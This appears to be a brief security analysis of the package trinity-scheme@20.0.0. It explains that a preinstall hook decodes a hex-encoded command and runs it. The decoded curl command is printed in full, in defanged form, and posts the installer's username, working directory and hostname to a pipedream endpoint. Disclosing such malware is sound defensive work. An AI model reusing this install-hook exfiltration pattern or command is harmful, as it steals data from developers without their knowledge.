trinity-scheme@20.0.0

Analysis

The preinstall hook (node preinstall.js) reads a hex-encoded command from preinstall.json, decodes it, and executes it via child_process.exec. The decoded command is: curl hxxps://eo7o7j442dx6yl6[.]m[.]pipedream[.]net/ -d "whoami=`whoami`&pwd=`pwd`&hostname=`hostname`" — exfiltrating the installer's username, current working directory, and hostname to a pipedream[.]net endpoint on every install.